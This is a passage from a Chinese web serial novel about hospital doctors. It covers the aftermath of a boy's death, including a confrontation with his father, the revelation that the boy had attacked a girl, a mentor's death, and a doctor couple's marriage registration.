“这我就不太清楚了,不是我的专业,医生和我解释过,说他是肥厚型心肌病,但是家里人没做过检查,我过来就是想找你们这儿的医生问问,这有没有可能。” 南栀点头,“是有可能的,青少年猝死虽然少见,但不是完全没有,也许坠楼改变了某种平衡。” 罗鸣道:“行吧,利凯死了,吕晓慧现在还不能接受调查,这起莫名其妙的坠楼案是结不了了。” 他难免又要被局长念叨。 其实局长已经找过罗鸣,这次是让他尽快结案,以意外结案。 但连南栀这个外人都能看出来奇怪的地方,罗鸣哪能同意结案? 他坚持要调查,被局长好一顿数落。 现在利凯人都没了,他估计又要被局长教训一顿,或者不是被教训那么简单。 南栀问:“楼顶的痕迹呢,有脚印吗?” “有价值的痕迹很少,倒是找到他们的指纹了,但单从指纹来说,也没什么问题,只能看出是吕晓慧先扶着栏杆,利凯的指纹覆盖吕晓慧的半枚指纹。” 没有证据就没法结案,罗鸣这才想先拖着,起码拖到吕晓慧彻底清醒。 没想到利凯先送命了。 * 盛昭云给金瑞打电话询问利凯的情况,金瑞不是很了解。 他说利凯一来就被送到神外,手术是神外主任做的,从ICU出来后就去了高级病房,院长特意把全院设施最好的病房腾出来给利凯。 利凯的猝死在医院引起轩然大波,所有人都在讨论,但都不知道准确的消息。 金瑞捂着话筒给盛昭云透露情报,“是这样的,下午我们可能要开会,现在的通知是不能把这事告诉别人,不过肯定是因为自身的病死的,这点可以确定。现在争论的点是医院究竟有没有责任,孩子的家属很生气,院长都在愁。” 没门诊的几人聚在办公室,一屋子人都听到金瑞的话。 盛昭云想取消免提都没来得及。 盛昭云:“……” 金瑞说:“记得保密啊,不能告诉别人。” 盛昭云看着一屋子人。 南栀、阮乔、韩阅松、邢小谷和韦初雪。 盛昭云:“明白,挂了这通电话,我保证不再让任何人知道。” 金瑞没听出弦外之音,“盛主任就是痛快。” 盛昭云:“……” 那当然相当痛快了。 盛昭云挂断电话。 阮乔先举手投降,“别杀我,我能保密。” 邢小谷说:“我对他们可没兴趣,这姓利的真不是东西。” 几人看向韩阅松。 整个办公室他们最不熟悉的就是韩阅松,以前也有康宁医院的人向恩德医院报消息的情况,他们还不知道这人是谁呢。 韩阅松慢吞吞抬起头,推了下眼镜,“杀人犯法,你们不能对付我,我不会和你们同流合污。” 盛昭云神色凝重。 阮乔捏紧拳头,用力捶自己。 韩阅松:“……但我非常擅长保密。” 盛昭云:“那就好。” 利凯出事,南栀第一时间想到家里人。 她怀疑攻击南明杰的人和利家人有关,当时她只是没给利凯做手术,现在利凯人直接没了,利家人会不会更生气? 南栀自己倒是没什么,如果她因为选择救情况更严重的病人而被报复,只能说明报复她的人是人渣,她没错。 但她不想连累家里人。 南栀给黄春兰打电话说明此事。 最近几天黄春兰一直在找房子,已经看中一栋楼房,房子主人出国了,家里的房子想处理掉。 这房子最大的好处就是,楼前就是派出所,在派出所的办公室甚至能看到房子客厅和厨房的窗户。 黄春兰说:“按照你说的,合同已经签好了,房主原本就不住在这里,稍微打扫打扫就能搬家。” 南栀叮嘱,“在外面时留意有没有被跟踪,现在住的房子……先放在那儿,我在医院登记的住址还是那边。” 只有把他们安顿好,南栀才能放心。 第109章 第109章结婚证 利凯去世的消息也在康宁医院传开。 武涛急匆匆去敲连争办公室的门。 “连院长,利凯原本是先来咱们医院,咱们不给做手术,他才转走,现在人没了,我们恐怕会被连累。” 连争正在研究韦宁雨送来的杂志。 他最开始没太在意杂志的事,虽然韦宁雨吹得很好,但他是院长,知道手底下的医生都是什么水平,这杂志可能办不起来。 最近写文章的医生却是越来越多,因为写的人多,比从前更卷,质量竟然也提上来了。 听到武涛的话,连争头都没抬,“不给利凯做手术?原因?” 武涛苦笑道:“南医生现在是医院的红人,不,是临川市的红人,我没法说什么。” 连争不太了解利凯的事,他是院长,不会天天守在手术室。 “南栀主刀?”连争说,“那没什么问题,随他们闹。” 武涛:“……” 他提醒道:“南医生毕竟没给利凯开刀,利凯后来转到恩德医院做的手术。” 连争道:“南栀不开刀,一定有她的理由,我相信如果你和她沟通过,她也会把理由告诉你,现在你和我说说,不开刀的理由是什么?” 武涛:“……” 他尴尬地转移话题,“问题不在开刀,现在利凯去世,利振国在市里找了人,咱们恐怕得给他们一个解释。” 连争放下杂志,拧眉看着武涛,“你是说,利凯死在恩德医院,我们要给一个解释?” 武涛:“……” “我这人脾气好,”连争起身去窗台拿暖壶,“但不代表我时时刻刻脾气都好,领导的话一定要听。” 连争给武涛倒了热水,把杯子递过去。 热水滚烫,瓷杯也是烫的,武涛的指尖被烫了一下,下意识收回手。 连争微笑地看着他。 武涛硬着头皮接下杯子。 连争说:“但究竟听哪位听到的话,是直属领导,还是更往上的领导,就要好好捉摸了。你我共同工作多年,天天见面,一起成长,我相信你能了解。” 当然是他这个直属领导见武涛的次数更多。 武涛挤出笑容。 连争说:“去把祁念珍叫来。” “祁院长和南医生关系很好,恐怕有失偏颇。” 连争有些烦。 比起明目张胆的坏人,他更讨厌蠢货。 连争冷声说道:“你到现在都没说出南栀不做手术的原因,你很正?” 武涛:“……” 趁连争转身之际,武涛狠狠瞪了连争一眼。 连争道:“把祁念珍叫过来,还有汤兴生,过来开会。” * 吕晓慧不仅是南栀的病人,她也是陆随的病人。 虽然吕晓慧在大脑这方面还有很多难关要闯,但心血管恢复得还不错。 陆随去例行检查。 外科医生都忙,ICU的护士好不容易逮住陆随,肯定得让他多看几个病人。 陆随转了一圈回来,发现吕晓慧的状态和刚才不太一样。 他走过去查看吕晓慧的瞳孔,一切正常。 那不一样的点是…… 吕晓慧忽然伸出手,抓住陆随的白大褂。 陆随瞥了眼吕晓慧的手,温柔地问道:“你想要什么?要见妈 妈吗?” 吕晓慧张开嘴。 她最开始不能很好地发出声音,很着急。 陆随一边安慰她一边耐心等着,吕晓慧口中终于迸出几个字,“……我害怕。” 护士奇怪道:“这是医院,你很安全,害怕什么?” 吕晓慧张了张嘴,“害怕。” 陆随皱眉看了她半晌,忽然问道:“你是怎么坠楼的,是不是想起来了?” * 南栀正常出门诊。 现在有韦初雪和她轮流出神外的门诊,儿科那边忙不过来,她还会去儿科的门诊。 两个门诊是两种氛围。 阮乔正安抚家属情绪,“孩子确实难受,但咱们用药要慢慢来,不能一下子就上猛药,对不对?得为孩子的未来考虑。” 家长抱着一直喊痛的孩子,情绪激动,“我们来医院就是为了治病,你们现在还没给他看好,我能不着急吗?!你们的儿科不是很好吗,为什么还没治好?!” 魏联和盛昭云在隔壁都能听到家长的骂声,两个大炮仗气势汹汹站起来。 隔壁诊室的家属们:“……” 这是怎么了? 鬼子打进村了? 好在邢小谷及时过来把两人按住,“我虽然总被批评,但有一点,我的脾气可比你们好多了,从来不和家属生气。” 盛昭云毫不客气地拆穿她,“你的门诊本来就少,生气机会更少。” 邢小谷:“……,盛主任你看看你,就是太喜欢说实话,得改改。” 魏联道:“隔壁的气不气人?有什么药是吃了就能立刻把病治好的?真有这种药,我都不敢给自己家人吃,孩子喊痛就着急,来医院看病的不都是不舒服的?谁好好的来医院?” 邢小谷赞同道:“是啊,可我们是医生,如果和患者吵起来,就得挨骂。” 家属感慨道:“你们可真不容易。” 邢小谷看向家属,“但如果是家属和家属吵起来,那就没什么问题了。” 家属:“……啊?” 邢小谷热情地问道:“你的孩子有什么症状呀,隔壁诊室坐的是南医生哦,她各方面都很强的,要不要让南医生单独给孩子看看?” 家属:“我去!!交给我!!” 于是隔壁更热闹了。 后去的家属战斗力十分剽悍,几句话就把前一人骂得一声不敢吭。 魏联:“……” 他神色复杂道:“你的心机真深。” “呸,”邢小谷说,“这叫聪明,我才不忍气吞声!” 家属很快回来请功,“隔壁的笨蛋根本说不过我,都办好了!” 邢小谷微笑地看着家属。 家属立刻改口,“我就是看不惯他们!我就非得骂他们几句!” 魏联:“……” 邢小谷这脑子到底是怎么长的? 还真是除了不擅长做医生,其他都很擅长。 隔壁忽然静了。 刚才也静,但没现在这么静。 很快有几个家属从门诊前经过,议论纷纷,“那些人是谁?凭什么赶我们走。” “唉,看着不好惹,算了,咱家孩子病得也不严重,还是别去找事了。” “那不就只剩医生在诊室了?” 魏联看向盛昭云,盛昭云已经起身往隔壁走。 诊室内,南栀淡定地拿着笔。 利振国起码带了十个人,已经把诊室完全围住。 他搬来椅子在南栀斜对面坐下,“南医生,给个解释。” 南栀正在给前一个患者开药,她连头都没抬,“杀人犯法。” 利振国冷笑,“我比你清楚法律。” “那就最好,”南栀说,“转院是你自己的决定,与康宁医院无关。如果你想讨说法,我想你走错地方了。” 利振国呵呵笑了两声,格外难听。 “别装蒜了,我是问你,为什么我儿子有先天性心脏病,你们没查出来。” 利振国旁边的人看起来是医生,他一边擦汗一边说道:“第一遍检查是康宁医院做的,南医生,你是得给一个说法。” 南栀瞥了一眼说话的医生。 他是恩德医院的,南栀见过,好像叫孙宾。 “孙医生,”南栀说,“你是神外医生,利凯被送到恩德医院时,情况如何?” 孙宾:“……很严重。” 南栀道:“恩德医院的手术过程也有记录,撒谎没用。” “……反正是需要做手术。” “对,是需要做手术,”南栀说哦,“但情况并不紧急,你们手术之前给他做全身检查了吗?医院所有检查都做一遍,也是来得及的。” 利振国看向孙宾。 孙宾额头的汗更多了,“开什么玩笑,怎么可能把所有检查都做一遍?!” 南栀:“那你问我为什么没查出来他有先天心脏病?” 孙宾:“……” 南栀:“就算是在不紧急的情况下做手术,术前也只能针对检查,利凯没有任何胸痛、呼吸困难、循环不稳定的表现,他当时的心电图也没有任何异常。我们是急诊处理,时间短,患者转 到你们医院,你们有大量时间去检查,你为什么没查出来他有先天性心脏病?” 孙宾无言以对。 南栀微笑,“责任在谁,看来很清楚了。” 盛昭云走进来,“我已经报警,请你们尽快离开,不要耽误门诊。” 利振国神色阴郁。 孙宾低着头不吭声。 利振国白了他一眼,对南栀厉声道:“如果不是你拒绝给利凯做手术,他会去恩德医院吗?你认为你一点儿责任都没有?!我们是奔着你的名声来的!你的医德在哪里,为什么不给利凯做手术!” 刚离开的患者家属都被声音吸引,又聚了过来。 利振国不介意有人围观,他起身说道:“我的儿子,从三楼楼顶掉下来,他们不给孩子做手术,让他再等等,怎么等?那可是三楼!” “坠楼啊,三楼会不会摔死?没摔死真是命大。” “你没听人家说医生不给做手术?” “咦?南医生可是在危险时往震中跑的,她会拒绝手术?” “家属不会撒谎吧?” 南栀想去关门,利振国的人守着,是故意让外面的人听到。 她不得不抬高声音,“第一,利凯虽然坠楼,但他是落在吕晓慧的身体上,他的情况比吕晓慧轻得多,我必须给更严重的患者治病。” 盛昭云看向门外的人,“一个快死了,一个还能再等等,换作是你们,你们先救谁。” 这么一说他们就明白了。 “肯定是先救快死的。” “别说是医生,就算我是另一个孩子的家长,我的孩子还能再等等,另一个马上就要没了,虽然我也担心害怕,但肯定要让快没了的孩子先去抢救嘛。” 南栀接着说:“第二,不是我不给你做手术,我明确地告诉你,神经外科的主任会来给利凯做手术,你拒绝。我提出让他稍等,我做完吕晓慧的手术就去给他做手术,你也拒绝。” 盛昭云补充,“在医院,只有疾病分轻重缓急,你想让我们放弃病危的患者先去照顾有钱人,不可能。” 这句“有钱人”一下子把大家的火气点了起来。 谁会把自己代入有钱人?他们都是普通人,如果是他们的孩子和利凯一起生病,他们就是“吕晓慧”啊! 这不是让他们的孩子去死,让利凯活吗? 而且利凯的情况还没那么危急。 “唉,现在和刚建国那会儿不一样了,那会儿多淳朴,现在什么坏人都有。” “他家的孩子是孩子,别人家的孩子都是草。” “你们对这些人还抱有希望?他们最不是东西。” 现场逐渐失控。 利振国原本是来为儿子讨公道,却被声讨一番,他不满道:“吕晓慧只是我家帮佣的孩子,难道让我们放弃儿子先救她?” 他不说这话还说,一说出口,更炸了锅。 “还是有帮佣的有钱人呢。” “地主才被打倒多久,新地主就来了,这人还要人伺候,呵呵。” 利振国:“……” 孙宾低声道:“利总,别再说了,我们先走吧。” 利振国怒道:“是你说责任在康宁医院,你现在怎么不说话了?!” 孙宾:“……” 要不然呢? 他还能说责任都是恩德医院的? “其实利凯他有先天性心脏病,你们不也不知道……” “我如果知道,要你们医生干什么!!” 眼瞅着门外的人越来越多,一人一口唾沫都能把他们淹死,利振国终于暂时放弃和南栀理论的想法。 他正要带人离开,却被陆随堵在门口。 陆随冷淡地看着他。 利振国不认识陆随,不耐烦道:“滚开,康宁医院没一个好东西!” “不着急,”陆随按住利振国的肩膀,“警察还没到。” 利振国冷笑,“警察来了就有用?我是给儿子要一个说法,犯法了吗?” “你没犯法,”陆随说,“但你儿子,可不见得没犯法。” 利振国:“……” 吕晓慧状态好转,已经彻底清醒。 就在刚刚,她拉住陆随,说出那日在楼顶的真相。 “利凯哥哥又来找我玩儿,我不太喜欢和他玩儿,他每次都动我的衣服,我很不舒服。” “我想看书,他生气了,我就说去找妈妈,他捂着我的嘴推我。我被他压在栏杆上,栏杆好矮,我们都没站稳,我先往下摔的,我抓住他,然后我就不知道了。” 罗鸣赶到医院,在此问询吕晓慧。 利振国想给儿子讨说法,尸体还存在医院太平间,正好拉走解剖。 他迅速做完这些事,不给局长阻止的机会。 尸检结果显示,利凯的胳膊、脸上都有划伤,是他曾经推吕晓慧的证据。 吕晓慧的衣服上发现不明液体,还在化验中。 可惜的是,利凯死了,他死了,就不能被起诉,他对吕晓慧做过的事,不会受到任何惩罚。 不过事情还没结束。 韦宁雨带着胜利的果实回到医院,他联系了临川市所有媒体和报社,第二天就有报纸报道此事。 “我厉害吧?”韦宁雨得意道,“做手术那天盛主任叫我过去,我就知道她是让我去干嘛的,我可是拿着相机过去的,全都是证据!他们想泼脏水,没门!” 韦宁雨还留了在场十几个患者的联系方式,随时可以找到他们做证人。 事情和孩子有关,在场的人都群情激愤。 南栀感慨道:“我们真的不能少了你,你的奸商手段太有用了。” 阮乔也在感慨,“是啊,一群好人中,总要有一个坏人的。” 韦宁雨:“呵呵,你才是那个坏人。” “开玩笑嘛,”阮乔说,“多亏了你,现在媒体也来采访报道,利振国不能再颠倒黑白了。就是晓慧蛮可怜的,只是跟着妈妈去雇主家里写作业,差点儿连命都丢了。” 南栀说:“有人找到我,想给吕晓慧捐款,她家里条件不好,这次手术和后续治疗费用,恐怕承担不起,我和祁院长说过了。” “媒体就是好,有好心人看到会捐款。” 韦宁雨再次昂首挺胸,“这都是谁的功劳?” 阮乔说:“当然都是我的功劳。” 韦宁雨:“?” “有我对你的悉心教导,才有你的今天!” 韦宁雨:“……” 两人扭打起来。 吕晓慧受伤害案草草结束。 警方还原了整个过程,证据扎实,可惜利凯已经去世。 不过倒也不是完全可惜,利凯才12岁,就算提起诉讼,恐怕也没办法真的惩罚他。 他突然犯病,某种意义上是在解救吕晓慧。 半个月后,南栀接到祁念珍的电话。 “这事挺奇怪的,上面点名要你去乡下帮忙建立儿科。” 祁念珍把通知递给南栀,“你看看,这里穷乡僻壤的,镇上只有一家医院,看不了什么大病。” 南栀问:“利振国有认识的人?” “确实有,”祁念珍说,“你先别着急,连院长已经去问了,把你留在穷乡僻壤,我们都不能同意。” 祁念珍虽然在安慰南栀,眼中却也有担忧之意。 康宁医院毕竟是公家的医院,很多事他们说得不算。 如果是私家医院,只要连争不同意,那对方就没办法。 话音刚落,祁念珍办公室的电话响了起来。 她接起电话听了几句,脸色愈发严肃。 几秒钟后,祁念珍挂断电话,“小南,先请假吧。” 南栀说:“我要躲起来?我可以再想其他办法,我手里还有病人,吕晓慧还没完全脱离危险,我……” “不是这件事,”祁念珍道,“你要有心理准备,舒教授她……可能快不行了。” * 在舒映阶确诊时,南栀就已经在给自己做心理建设,但她仍然没想到,这一天来得如此快。 陆随以去接陆嘉述为由,和南栀一起请假去首都,电话就是陆嘉述打的,他请假过程很顺利。 舒映阶原本不想打扰南栀,是陆嘉述坚持要通知南栀。 她坚定地告诉舒映阶,这种时时刻刻牺牲自己的做法不可取。 “你就直接告诉我,你想不想见南栀最后一面。” 舒映阶当然想。 这些年她和陆嘉述最担心的事,不就是撒手人寰以后没人能接班吗? 尤其是舒映阶,她搞的小儿神外,除了儿研所都没有,直到现在还有很多人认为她在浪费资源。 明明可以同时给大人、孩子一起做手术,为什么一定要单独给孩子做? 明明技术好,为什么不能多做一些? 南栀的出现,是舒映阶的定心丸。 尤其是看到南栀学习速度如此之快后,舒映阶终于能放下心。 时代虽然不一样了,年轻人吃的苦好像不如她们多,但年轻人有年轻人的风采。 南栀和陆随坐最近的火车去首都。 舒映阶没有去医院,一直留在家里疗养,王敏和陆嘉述负责照顾她。 三人年纪都大了,陆嘉述雇了护工来,翻身这种工作需要力气。 南栀和陆随刚到火车站,便有车来接他们去舒映阶家,这都是陆嘉述提前安排的。 她的原则永远不会变——苦了谁不能苦自己。 舒映阶暴瘦几十斤,早已瘫痪在床上,饮食需要人喂,无法控制大小便。 南栀离开时,她脸上还有不少肉,现在好像只有骨头。 好在舒映阶还能简单说话。 “南栀来了,这是……陆随?小陆好像变样了,不认识了,咱们不是刚见过吗?” 她说一句完整的话,要喘上半天。 南栀咬着唇,不敢回话,她担心自己一开口,就忍不住掉眼泪。 陆随柔声道:“您好,上次没来得及正式去拜访您。” 陆嘉述走进来,慢吞吞道:“小舒,虽然你病得很重,但我不得不提醒你,不要占我的便宜,我的年纪比你大。” 舒映阶微笑道:“你连父母是谁都搞不清,你怎么确定出生日期?肯定是我要大一些,我先走。” 陆嘉述:“……” 可恶,病重了思路倒还是清晰。 陆嘉述把南栀叫出去,“她不想去医院,不同意急救,如果要咽气了,就让她好好走,寿衣已经准备好了。” 南栀眼睛红通通的,“和你们待在一起,舒教授看起来很开心。” “没办法,人好的时候太忙了,也就病了,还能任性地多休息。这人啊,就是得多为自己考虑。”陆嘉述说,“不过她儿子死了,这倒是个好消息。” 南栀:“……舒教授知道?” 陆嘉述摇头,“她知道了又该难过,她儿子对她再不好,她还惦记着,如果不是他最后来闹了一遭,恐怕她那点儿工资还是要留给他。在某些事上,人得自私,自私才活得痛快。” 南栀也不太喜欢舒教授的儿子。 “小舒没几天了,陪陪她,正常生活就好,我们三个老家伙,早就该入土,现在活着就 是赚的。” 在首都不需要工作,南栀和陆随开始研究怎么照顾三个老人。 照顾老人,最重要的就是……做饭,人总要吃饭的嘛。 两人窝在厨房研究菜谱。 王敏去洗了水果,舒映阶这几天不怎么吃饭,说想吃水果。 “他们两个还在厨房呢,今天你可有口福了。” 舒映阶微微笑着,不必要时,她不再说话,力气不够。 陆嘉述:“哦?劝你别抱希望。” “他俩不会做饭?那也没关系,”王敏说,“两个都是聪明的好孩子,这点儿小事难不住他们。尤其是南栀,手术做得多好,这都是刀工。” 陆嘉述微笑:“你今天恐怕要饿着了。” 南栀和陆随在厨房研究了两个小时,王敏还没闻到菜香。 她好奇地走进厨房,看到大米粥。 大米粥……过于稀了。 案板上放着南栀切好的菜,王敏惊讶道:“你刀工倒是不错,为什么不炒菜?” 南栀:“……” 陆随:“……” 他俩以前偶尔才做饭。 就是这个“偶尔”,都是上网搜教程跟着做的,人家说一句,他们点暂停跟着做,再看下一句。 今天菜切好了绝顶聪明的他们才想起来,现在没网,没法去搜菜谱教程。 想念网络。 王敏:“……” 这俩聪明人也不太聪明哦。 晚上几人轮流守着舒教授。 南栀本来想自己守着的,她不希望舒教授最后关头身边一个人都没有,她担心舒教授会害怕。 陆嘉述和王敏也想陪着,陆教授虽然让南栀放宽心,但她的话明显越来越少。 好在一夜安稳。 翌日,陆陆续续又有人来看望舒映阶,家里一直热热闹闹的。 南栀打算和王敏学做饭。 陆随刚进厨房就见南栀准备动手,赶紧拦住,“你不想让我被你哥念叨一辈子吧?” 南栀:“?” 陆随挤开南栀,“我来,我来。” 南栀:“……” 她哥的威力好大哦。 南栀把工作交给陆随,自己出去找活儿干。 家里打扫得很干净,还有客人,再去打扫卫生也不太好,南栀想去菜市场买菜。 她刚出门,就看到一男一女在舒教授家附近转悠,一直往房子里看。 见有人出来,他们赶紧走过来询问,“这是舒教授家吗?” 南栀问:“您是?” “我是舒教授的儿媳妇,这是他孙子,”女人松口气,“总算找到了,听说她病了,我让小浩来看看她。” 南栀对他们一家人的印象极差,她板着脸说:“这里不欢迎你们,你们走吧。” “别……”女人说,“我们刚结婚时,妈帮了我们不少,她很喜欢小浩的,我们不是为了钱,我男人去找妈时,我劝过他,但他不听,总觉得妈欠他,其实我挺佩服妈的,我就是想让她看看小浩,看完就走。” 南栀道:“舒教授的遗嘱已经写好了,不会再改,她的遗产究竟留给谁,改不了。” 女人无奈道:“真的看完就走。” 南栀见她似乎真不是为了钱,侧身放她进去。 陆教授说过,舒教授这人心软,其实还惦记着儿子,她应该也想见见孙子吧? 南栀跟在他们后面,“舒教授还不知道她儿子去世了。” 女人愣了一下,“难怪没接到妈的电话。” 南栀:“最后提醒你一遍,舒教授已经有遗嘱,她留下的财产会全部捐献,如果你们闹事,我会立刻报警,不会和解,如果你想让你儿子留下被拘留的……” 女人茫然地看着南栀。 南栀:“……” 好吧,也许她真的只是想看看舒教授。 南栀做了“请”的手势。 没一会儿,南栀听到舒教授的笑声。 她没力气,很少笑出声了。 南栀松口气。 南栀来首都的第四天清晨,舒教授安静地离开。 她没遭几天罪,在南栀接到电话以前,甚至还能自己去厕所。 第三天晚上,舒教授开始昏睡不醒,对外界刺激无反应。 清晨,最后一口气终于咽下去,再也叫不醒了。 陆教授指挥南栀和陆随给舒教授换寿衣,“小舒啊,回家了。” * 葬礼过程,南栀异常平静,不久之前她还因为无法医治小昭而难过。 忙完舒教授的事,陆随带着南栀去首都的医科大学。 首都的医科大学是原主的母校,也是全国最好的医科大学。 陆随说:“他只读到硕士,硕士学历不太够用,我想继续读博士。” 如果想来首都读博士,那就得认真上课了,不能像南栀搞“提前结业”——冯固答应南栀正常给她毕业证。 南栀点头,“那最好了呀。” 陆随问:“你呢,有什么打算?” 南栀说:“暂时还不会离开临川。” 好不容易张罗起来的手术团队目前只有她一个主刀,她暂时不考虑离开。 陆随提醒道:“利振国不想让你留在康宁。” 这次是舒教授病重,南栀请假,等南栀回首都,还是得面对。 南栀已经想好了,“他们想让我去小地方待着,那也没办法,我就去吧,小地方也缺医生,反正到哪都能干活。” 陆随拧眉看着她。 小地方是缺医生,可小地方没法做手术。 康宁医院能有做手术的条件都极为难得,她一个外科医生,如果在小医院待一辈子,可能没法再站在手术台上。 虽说陆随不认为对方能拿捏南栀很久,但就算只去两个月,陆随也不太舒服。 陆随斟酌道:“你这段时间和我接触,感觉怎么样?” 南栀盯着陆随的脸,“挺好看啊。” “……不是说脸。” 南栀:“可我只看你的脸了啊,还有别的事吗?” 陆随:“……” 很好,他是一个称职的工具人。 陆随耐心引导,“你和我在一起时,还会害怕吗?我碰到你,会不会反感?” 南栀走到陆随面前抱了抱他,“不会啊。” 陆随耳根微红。 南栀:“你好像又生病……” 陆随迅速打断她,“我们回省里看看。” 南栀:“啊?” 陆随说:“我和姑姑打听过,利振国找的是省里的领导,我们刚好有个亲人,和他认识,职位稍高于他。” 南栀明白了,“好啊。” 陆随问:“你不介意用特权?” 舒教授就很反感这一套。 南栀挺胸抬头,“我是陆教授派的,不是舒教授派的。” 她都快被塞进小诊所了,还正直什么? “好,”陆随说,“回去就去。” 南栀拽住陆随,“回省里和我能不能碰你有关系吗?” 陆随:“……” 他想问的其实不是这件事。 陆敬玮说,省里的亲戚如果知道是给他妻子办事,会更上心,而且他俩订婚也很久了,她问他们要不要直接结婚。 结婚……陆随挺想。 但和这件事连在一起,好像在威胁南栀。 陆随说:“随口问问。” “是吗?”南栀挑了挑陆随的下巴,又捏捏他的肌肉,“都挺好的,更近一步也行。” 陆随及时抓住南栀罪恶的爪子,“到这步就够了!” 南栀老老实实缩回手。 只是想证明给他看嘛。 南栀抱着陆随的胳膊没放,“如果换作是你,利振国敢为难你吗?” 陆随实话实说,“奶奶还在,为难不了。” 就算陆嘉述不在了,陆家还有一大堆发迹的亲人。 南栀瘪嘴,“真欺负人,完全是欺软怕硬嘛。” “没办法。” 南栀拽了拽陆随,催道:“我们什么时候结婚,让我也享受享受特权。” 陆随愣住。 他担心两件事联系到一起,会伤到南栀,会让她不满。 会不满…… 陆随低头看着南栀,在她眼中只看到期盼。 陆随:“……” 他可真是想多了。 陆随装作不在意 ,“假订婚都可以,假结婚也行。” 说完,他目光偷偷移向南栀,喉咙紧张地滚动。 南栀说:“干嘛假结婚,我们不是在谈恋爱吗?反正只要别提生孩子,都是一样了,我爸妈还总唠叨。” 陆随唇角飞快地弯起来。 南栀真诚地问道:“结婚和谈恋爱有什么不同吗?” 陆随:“……做的事应该不同?” 南栀:“你是说交……” “别说了!” 多严肃的事,都能被南栀说得不正经! 南栀一回临川,就把结婚的决定告诉黄春兰和南明杰,两人高高兴兴地找人给算了日子。 要提前去领证,领证也得算日子,陆嘉述不在意这些,都随黄春兰的心意。 第二天,南栀和陆随去登记结婚。 结婚证还只是一张纸,上面有男方和女方的黑白照片,登记结婚的过程非常顺利。 南栀等待过程还跑去离婚登记处吃瓜,有一男一女当众吵了起来,说是男方是带着小三过来的,和女方离完婚要接着再办结婚,这瓜相当精彩。 南栀一直在给女方加油打气。 陆随转了一圈,才在离婚登记处找到南栀。 登记结婚的时候跑到离婚登记处,这事也就南栀做得出来。 陆随拎着她的衣领把她拉走,“你就不怕不吉利?” 什么吉利不吉利的? 南栀振振有词:“我是提前学习,积累经验,如果你也想找个人一边离婚一边结婚,我好能应付。” 陆随:“……,谢谢,我没这癖好。” 南栀接过结婚证,看着自己的照片赞叹道:“拍得真完美啊,虽然是黑白照片,但也好看。” 陆随已经习惯南栀夸他好看,他刚勾起唇,准备酷酷地说也就一般,就听南栀继续说:“和我这么好看的人结婚,你真有福气。” 陆随:“……” 哦,脸皮厚,在夸自己。 南栀收好结婚证,“可我总觉得忘了一件事。” “什么?” “想不起来,是什么事呢……” 心外办公室,箫珵用力拍着桌子,“你说什么?你俩登记结婚了?结!婚?!” 第110章 第110章是妈妈吗 大好的日子,箫珵差点儿被气死在办公室。 他还在担心南栀被调走的事,刚到办公室就看见这两人手牵手。 箫珵从两人中间走过去,就听陆随说他们现在是合法夫妻,合法牵手。 没经过他的同意,怎么算!合!法! 箫珵板着脸看着二人。 南栀乖巧地坐着,不敢吭声。 陆随挑眉道:“你不同意没用,证已经领了,再分开这叫离婚。” 南栀轻轻拽了拽陆随,“这是我哥诶。” 办公室的另一边,闫民怀目不转睛地盯着三人。 郤文曜问:“他们又怎么了?” 闫民怀神秘兮兮道:“要抢亲了。” “什么?” “陆哥要劫婚,萧哥也要劫婚。” “……” 十分钟后,箫珵总算调整好,接受南栀已经和癞蛤蟆陆随结婚的事实。 结了婚,就不能轻易离婚,箫珵语重心长道:“他如果欺负你,你也不用告诉我,你就直接把他脑子打开修修大脑,能活就凑合接着用,活不下来拉倒。” 陆随想到南栀平时用的开颅工具,下意识摸了摸头。 啧,疼。 陆随弯起唇,“没问题。” 他顺便揽住南栀的肩,又冲箫珵挑眉。 箫珵:“……” 挑衅,这绝对是挑衅。 箫珵沉默片刻,忽然说:“你们已经结婚了,对吧?” 陆随:“要看结婚证?” 箫珵微笑,“不用,以后我们就是一家人,别客气。” 他直勾勾盯着陆随,“既然是一家人,我这做大哥的,就得好好照顾你们。” 陆随:“……” 做大哥的…… 等等。 箫珵:“妹夫,我是你大哥,记住了吗?” 陆随:“……” 占谁便宜! 陆随看向南栀,“你就不能当姐姐?!” * 利振国为利凯买了墓地。 利凯是他最小的儿子,除了利凯,他还有两个女儿。 为了生下这个儿子,利振国不惜和原配离婚,娶了怀孕的情人,好不容易才有的儿子,说没就没了。 什么先天性心脏病,他听都没听过,他们家人没有先天性心脏病。 利振国痛恨恩德医院,也痛恨康宁医院。 恩德医院没能及时发现利凯的心脏问题,病发时也没能及时发现,错过抢救时机。 至于康宁医院,利振国想到南栀的嘴脸,更可恶。 医疗界的朋友说南栀是临川最好的神外医生,他都过去求她了,她竟然还要给吕晓慧开刀,不给他儿子开刀! 吕晓慧只是他家帮佣的女儿,这辈子都见过钱,南栀怎么敢?! 利振国的两个女儿和父亲不太亲近,她们能感觉到父 亲更喜欢小儿子。 现在弟弟出事,父亲一夜之间苍老,她们才回家来看看他。 对于利凯的死,她们不太在意。 “爸,听说你还去找了蒋叔叔?算了吧,利凯的死和他们没关系,你没听警察说吗,是利凯想推吕晓慧,利凯还对吕晓慧……” “你们知道什么?!”利振国吼道,“现在只有吕晓慧活着,当然是随她怎么说!警察一个个都是糊涂蛋,全都信了她的话!王八蛋!我不会放过他们!一个都不放过!” 两个女儿厌恶地蹙起眉。 如果不是看在亲妈的面子上,她们才不想因为利凯的事来安慰他。 她们因为利凯受了多少委屈? 利振国起身,“我去康宁医院看看。” “您还去做什么?” 利振国冷淡道:“和你们无关,你们不用假惺惺地来看我,你们不也只是为了我的钱?现在小凯死了,你们得意了?告诉你们,我的钱一分都不会留给你们!” * 祁念珍没再提调走南栀的事,南栀就当这事没发生过,继续上班。 带着孩子来看病是个穿军装的军人,身姿挺拔,刚毅俊朗。 钟阳描述道:“我儿子,昨晚感冒发烧,今天早上头还是烫,我马上就要回部队了,放心不下他。” 小男孩三岁左右,傻乎乎地抬着头,也不瞎折腾。 南栀递给钟阳一个体温计,“再量量温度。他妈妈不在吗?发烧的话,还是得有人照顾他。” 钟阳拧了下眉,“好像死了。” 南栀抬眸,“好像?” “恩……她应该已经不在了,我们很久没联系过了。” 南栀看了钟阳片刻。 是因为很久没联系,所以不确定她是否在人世? 可钟阳看着还不到三十岁,他妻子的年纪应该也不大,如果真的去世了,倒是挺唏嘘。 五分钟后,南栀拿走体温计,钟阳焦急地问道:“曼蒂怎么样?” “曼蒂?”南栀指着男孩问,“他?他叫曼蒂?哪个字?” 钟阳说:“曼妙的曼,瓜熟蒂落的蒂。” 南栀:“……” 钟曼蒂? 不像男孩儿名。 